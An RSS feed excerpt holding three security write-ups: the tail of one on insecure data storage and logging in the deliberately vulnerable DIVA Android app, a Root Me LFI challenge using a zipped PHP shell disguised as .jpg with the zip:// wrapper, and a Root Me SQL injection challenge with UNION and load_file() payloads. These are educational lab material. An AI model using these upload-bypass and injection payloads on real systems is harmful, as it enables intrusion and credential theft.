            <content:encoded><![CDATA[<p><strong>Insecure Data Storage</strong> is a security vulnerability that occurs when sensitive data is stored on a device without adequate protection, This can <strong>lead to unauthorized access, data leakage, or exploitation by attackers.</strong></p><h3>📌Common Causes of Insecure Data Storage</h3><ol><li><strong>Storing Sensitive Data in Plaintext</strong></li></ol><p>Example: Storing passwords, API keys, or tokens in SQLite databases, Shared_Prefs, or local files without encryption.</p><p><strong>2. Improper Use of Android Storage Mechanisms</strong></p><ul><li><strong>Internal Storage:</strong> More secure but can be accessed if the device is rooted.</li><li><strong>External Storage (SD Card):</strong> Can be accessed by any app, leading to data leakage.</li></ul><p><strong>3. Hardcoded Secrets in the App Code</strong></p><ul><li>Example: Hardcoding API keys or credentials in the source code (strings.xml, Java/Kotlin files).</li></ul><p><strong>4. Improper Cryptographic Storage</strong></p><ul><li>Example: Using weak encryption algorithms (e.g., MD5, SHA-1) or storing encryption keys alongside encrypted data.</li></ul><p><strong>5. Unsecured Database Storage</strong></p><ul><li>Example: Storing user credentials or financial data in an SQLite database without encryption</li></ul><h3>Bypassing Insecure Data Storage Protection on Android</h3><p>Many Android applications store sensitive user data in various locations on the device, such as:</p><ul><li><strong>Shared Preferences</strong> (/data/data/&lt;package_name&gt;/shared_prefs/)</li><li><strong>Databases</strong> (/data/data/&lt;package_name&gt;/databases/)</li><li><strong>Temporary Files</strong> (/data/data/&lt;package_name&gt;/cache/)</li><li><strong>cache/</strong> (temporary files)</li><li><strong>External Storage (SD Card)</strong> (/storage/emulated/0/)</li></ul><p>If an app doesn’t use proper encryption or security measures, an attacker with <strong>root access</strong> can extract this data and potentially exploit it. This write-up explains how to <strong>access sensitive files stored by Android apps.</strong></p><h3><strong>Accessing Shared Preferences</strong> (XML preference storage)</h3><p>Extracting Credentials from file jakhar.aseem.diva_preferences.xml package name from Diva APK</p><blockquote><em>This XML file likely contains user settings and stored credentials.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/1*JtLkjK39Ju86JhDefoB5yg.png" /></figure><p>We can see the credentials</p><ul><li>The <strong>username</strong> is stored as &quot;user&quot;</li><li>The <strong>password</strong> is stored as &quot;user&quot;</li></ul><p>The credentials are <strong>in plaintext</strong>, making them easy to steal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*U1_rTXZGN2ioVjyc_UweSQ.png" /></figure><p>The code snippet (shared_prefs)</p><h3><strong>Accessing Databases </strong>(SQLite databases) (In Diva APK)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*uMC3mHTf8QpztvSphfbqZQ.png" /></figure><h4><strong>Listing Database Files in </strong><strong>databases Dir</strong></h4><p>This confirms that the app uses multiple database files:</p><ul><li>divanotes.db: Likely contains user notes.</li><li>ids2: Might store authentication-related data.</li><li>The ids2-journal files store temporary transactions for database consistency.</li></ul><p>To check if sensitive data is stored in plaintext, we attempt to read the ids2 database file.</p><h3>Command:</h3><pre>generic_x86_64:/data/data/jakhar.aseem.diva/databases# cat ids2</pre><h3>Output:</h3><pre>Z�ZKstablemyusermyuserCREATE TABLE myuser(user VARCHAR, password VARCHAR)W--ctableandroid_metadataandroid_metadataCREATE<br>user1user1</pre><p>In this case, the output you see when trying to cat the ids2 file is indeed <strong>not readable because it’s in a raw binary format</strong>.</p><p>To actually make sense of it, you need to use a tool like sqlite3, which is made for working with SQLite databases. This way, you can open the file, look at its structure, and read the data properly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/1*0M8AIBXna1mPiBsYhx-e1w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/977/1*MYHkAkJLKSycMGfLKw3VsQ.png" /></figure><p>The code snippet (databases)</p><h3><strong>Storing Sensitive Data in Cache or Temporary Files</strong></h3><p>In some cases, sensitive data can be inadvertently saved in the <strong>cache directory</strong> or stored as <strong>temporary files</strong>, as seen in this scenario. While cache and temporary directories are meant for non-essential, short-term data, developers may unintentionally store sensitive information such as session tokens, user credentials, or other private data in these locations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/1*PxFc3XbvmtCI9mKhVf_fNA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/649/1*M-v3C_PQgtEdyWjic18PJA.png" /></figure><p>The code snippet (Temp file)</p><h3><strong>Storing Sensitive Data in SDCard</strong></h3><p>Accessing the SD Card Directory path /sdcard and use command ls -la</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*pfAaCZz2Ct3mI2xcohdI2w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/1*re-I2y9O4mEXHGEsYhvs3A.png" /></figure><p>The code snippet (SDcard External Storage)</p><h3>Mitigation Measures:</h3><p>To prevent insecure data storage, it’s important to:</p><ul><li><strong>Encrypt sensitive data</strong> before storing it.</li><li><strong>Avoid storing sensitive data in shared preferences, plain text files, or unsecured databases</strong>.</li><li><strong>Use Android’s KeyStore</strong> for storing cryptographic keys.</li><li><strong>Implement proper access controls</strong> for sensitive data on external storage.</li></ul><h3>Insecure Logging</h3><p>Insecure logging is a security vulnerability that occurs when sensitive information is improperly logged by an application. This can lead to data leakage and unauthorized access if logs are exposed or accessed by attackers.</p><h3><strong>Bypassing Insecure Logging Protection</strong></h3><h4>Step 1: Identifying the Running Process</h4><p>To find the process ID (PID) of the DIVA application, we use the ps command:</p><pre>ps | grep &lt;package_name&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/1*W9orOkMVIWODM0Z4HiZWTw.png" /></figure><h4>Step 2: Extracting Logs for the Application</h4><p>Now that we have the PID (3285), we can filter logs related to this process using logcat:</p><pre>logcat | grep 3285</pre><p>🔍 <strong>Purpose:</strong></p><ul><li>This command captures logs specifically from the DIVA application.</li><li>If the application logs sensitive data (such as passwords, tokens, or API responses), an attacker can retrieve it.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*7puzjpQY1us18VXPr9ZLyQ.png" /></figure><h4>Potential Exploitation</h4><p>If the application logs contain sensitive information, an attacker can: ✅ Extract user credentials from logs.<br>✅ Capture API keys or authentication tokens.<br>✅ Analyze system behavior and find further security flaws.</p><h4>Mitigation Recommendations</h4><ul><li><strong>Avoid logging sensitive data</strong> (e.g., usernames, passwords, tokens).</li><li><strong>Use proper log levels</strong> (disable verbose logging in production).</li><li><strong>Restrict access to logs</strong> using file permissions and secure storage.</li></ul><p>feel free to connect me on <a href="http://www.linkedin.com/in/youssefahmed70">Linked-in</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a13dd9e4ffc4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Local File Inclusion — Wrappers [RootMe]]]></title>
            <link>https://medium.com/@Youseef/local-file-inclusion-wrappers-rootme-ccd3f640b558?source=rss-221589b43f0d------2</link>
            <guid isPermaLink="false">https://medium.com/p/ccd3f640b558</guid>
            <category><![CDATA[root-me]]></category>
            <category><![CDATA[file-upload]]></category>
            <category><![CDATA[pentest]]></category>
            <category><![CDATA[lfi]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Yousseff]]></dc:creator>
            <pubDate>Sat, 21 Sep 2024 10:36:33 GMT</pubDate>
            <atom:updated>2024-10-07T11:18:26.890Z</atom:updated>
            <content:encoded><![CDATA[<h3>Local File Inclusion — Wrappers [RootMe]</h3><h3>Hey Hackers!</h3><p>I just finished this CTF challenge on Root Me, and I wanted to share how I solved it. It was all about Local File Inclusion (LFI), and here’s how it went down!</p><h3>The Challenge LFI from FileUpload</h3><p>So, the challenge had a web app with a file upload feature. My goal? Upload a sneaky PHP shell to grab a hidden flag. Sounds easy, right? Well, not quite! They were filtering certain file types, which made it tricky.</p><h3>Creating the Shell</h3><p>I wrote a simple PHP script to list all files in the current directory to see if the flag file exists</p><pre>&lt;?php<br>$scan = scandir(&#39;.&#39;);<br>foreach($scan as $file) {<br>    echo $file . &quot;&lt;br&gt;&quot;;<br>}<br>?&gt;</pre><h3>Uploading the File</h3><p>Now, I faced the restriction: only <strong>.jpg</strong> files were allowed.</p><p>I zipped my PHP shell, you can use <strong>Linux </strong>for this by command</p><pre>zip a.zip a.php  # a =&gt; refer my file name</pre><p>we will change the .zip file to .jpg (the extension is not important because the byte header of the file will tell the OS the correct format of the file). This way, it could slip past the filters</p><pre>mv a.zip a.jpg</pre><p>Now we need to know the path of uploaded shell</p><p>just open source page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*QZ63hxi-rzgGRt0ssH23_A.png" /></figure><p>After I uploaded my <strong>.jpg</strong> file (which was actually a zipped PHP shell), I needed to execute it. To do this, I crafted a specific URL using a trick with the <strong>zip://</strong> wrapper.</p><p><strong>zip://tmp/upload/path_ZipFile.jpg#shell_file</strong></p><pre>?page=zip://tmp/upload/w3uBAEoo0.jpg%23a</pre><p>In this case, the path <strong>zip://tmp/upload/path_ZipFile.jpg#shell_file</strong> refers to a file within a ZIP archive, Although the file has a .jpg extension, it&#39;s actually a ZIP archive.</p><p>The zip:// protocol allows accessing the contents of the ZIP without extracting it, and #shell_file specifies the exact file inside the archive.</p><p>Note: You do not need to add the<strong>.php</strong> tail to the end (because the server will default to the file tail that is <strong>.php</strong> but if you enter it will be Attack Detect :v)</p><p>lets see the results</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/1*PvmpxK1nSlB75g7uyGZo0g.png" /></figure><p>there is a file called <strong>flag-mipkBswUppqwqlqq9ydO.php</strong></p><p>This allowed me to see the contents of the directory and confirm if the flag file was present.</p><p>After confirming that the flag file existed, I updated my script again to read the flag:</p><pre>&lt;?php <br>$flag=file_get_contents(&#39;flag-mipkBswUppqwXlq9ZydO.php&#39;); <br>echo $flag; <br>?&gt;</pre><p>finally, open the source page you will find the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/556/1*Ual0mM-xHoMNCfutvru-rQ.png" /></figure><p>Useful Resources:</p><ul><li><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion">PayloadsAllTheThings/File Inclusion at master · swisskyrepo/PayloadsAllTheThings</a></li><li><a href="https://book.hacktricks.xyz/pentesting-web/file-inclusion">File Inclusion/Path traversal | HackTricks</a></li></ul><p><a href="http://www.linkedin.com/in/youssefsadawy"><strong>Feel free to connect me on LinkedIn</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ccd3f640b558" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SQL injection — File reading [RootMe]]]></title>
            <link>https://medium.com/@Youseef/sql-injection-file-reading-rootme-07f4846b74fe?source=rss-221589b43f0d------2</link>
            <guid isPermaLink="false">https://medium.com/p/07f4846b74fe</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[root-me]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Yousseff]]></dc:creator>
            <pubDate>Fri, 30 Aug 2024 18:14:05 GMT</pubDate>
            <atom:updated>2024-08-30T18:14:05.402Z</atom:updated>
            <content:encoded><![CDATA[<h3>SQL injection — File reading [RootMe]</h3><p><strong>In this challenge, the goal is to exploit an SQL injection to retrieve admin password.</strong></p><h4>Finding the Injection Point</h4><p>The first step was to investigate the login page, which is a common entry point for SQL injection attacks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*w7N493a4jVX3i8hxWDMljg.png" /></figure><p>it was evident that the input fields on the login page are not vulnerable to SQL injection.</p><p>After confirming that the login page was secure, I shifted my focus to other parts of the application. The breakthrough came when I identified the ‘id’ parameter as the potential injection point.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*wP97z8svzEsgaX4QYJgEKw.png" /></figure><p>To test this, I manipulated the ‘id’ parameter by injecting a single quote (&#39;) into the URL, like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*2zyEADvcdz6N6ZXcv35efA.png" /></figure><p>good, the server returned error message let’s try to analyze it</p><h4><strong>Analyzing the Error</strong></h4><p>The error message indicates a syntax problem in the SQL query, specifically around the \&#39; at line 1. The backslash (\) before the single quote (&#39;) shows that the application tried to escape the quote. However, this escaping didn&#39;t work properly, leading to an incorrect SQL query.</p><p>now we need to know the number of columns in the DB</p><pre>1 order by 4 --</pre><p>if you tried more than 4, there is an error will arise</p><p>Using ORDER BY in SQL injection testing is a technique to determine the number of columns in the result set.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/1*qeOw4e7W-fD0XzZEAZbEZQ.png" /></figure><h4>Payload</h4><p>we need to inject the parameter with invalid or non-existent value used to ensure that the original query’s condition is false, like 1=2 or any non-exist value like -1</p><p>This prevents the original query from returning any result.</p><pre>-1 UNION SELECT null,null,null,version() -- # we need to know the vendor of DB</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/338/1*mxzVxfKo0mkCSgvB5MJSpw.png" /></figure><p>Maria DB this is the database vendor now we need to search about the cheat sheet to know the syntax for this DB</p><p><a href="https://mariadb.com/resources/datasheets/mariadb-standard-developer-cheat-sheet/">MariaDB Standard Developer Cheat Sheet | MariaDB</a></p><p>table_name Query</p><pre>-1 UNION SELECT 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()--<br>-- group_concat function allows to concatenate values from multiple rows into a single string<br>-1 UNION SELECT 1,2,3,table_name from information_schema.tables where table_schema=database() limit 0,1 --</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b7YvJqbsVeQZREOLZUVWHA.png" /></figure><p>table_name is **member**</p><p>column_name Query</p><pre>-1 UNION SELECT 1,2,3,group_concat(column_name) from information_schema.columns where table_schema=member--</pre><p>it’s not confirm the table name, mostly the application may be apply encoding or obfuscating input data, to ensure they conform to expected formats or constraints, thereby preventing malicious data from being processed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kgyc1V7asTp1AIOcobRlow.png" /></figure><p>this mean if we convert the table name to hex-decimal it will probably work</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f9pjyPrCowi0nK3AB_Pl6A.png" /></figure><h4>columns names:</h4><p>member_id, member_login, member_password, member_email</p><p>now we will print the columns content</p><pre>-1 UNION SELECT 1,2,3,group_concat(member_password, member_login) from member--</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8WP9bcBK4k2Srxf1qsWv9w.png" /></figure><pre>VA5QA1cCVQgPXwEAXwZVVVsHBgtfUVBaV1QEAwIFVAJWAwBRC1tRVA</pre><p>it’s sounds the password but encoded, but no if you try to encode it the output will be Obfuscated data</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F_xBwEri-07G6WgogPkWOg.png" /></figure><p>what is the Challenge name? read-file</p><p>this is a great hint</p><p>We will use the load_file() function to render that file, because we have the addlash() filter quote function so we can not type the file name into it so we have to encode the hex code. But note the absolute path to the file in rootme is “/challenge/web-serveur/ch31/index.php</p><pre>-1 UNION SELECT 1,2,3,load_file(0x2f6368616c6c656e67652f7765622d736572766575722f636833312f696e6465782e706870)--</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QEJhtwpw1k-nK1hLNj1nGQ.png" /></figure><p>now we have the source code of index.php, We just need to pay attention to this important place to be able to solve the problem.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vgJhzQ0MfhrtRT2rklb9yA.png" /></figure><p>This means that our password is to be equal to</p><pre>stringxor($key, base64_decode($data[&#39;member_password&#39;]))</pre><p>We already have a member_password and now we just need to use the stringxor() function to decode the password earlier!</p><p>let’s take it to vscode</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6x_3f0P3QZFTnQkHYxWMTg.png" /></figure><p>output: 77be4fc97f77f5f48308942bb6e32aacabed9cef</p><p>now you can decode it (SHA-1)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7JisB2FhhJLafyc4ZOD3yg.png" /></figure><p>flag: superpassword</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=07f4846b74fe" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>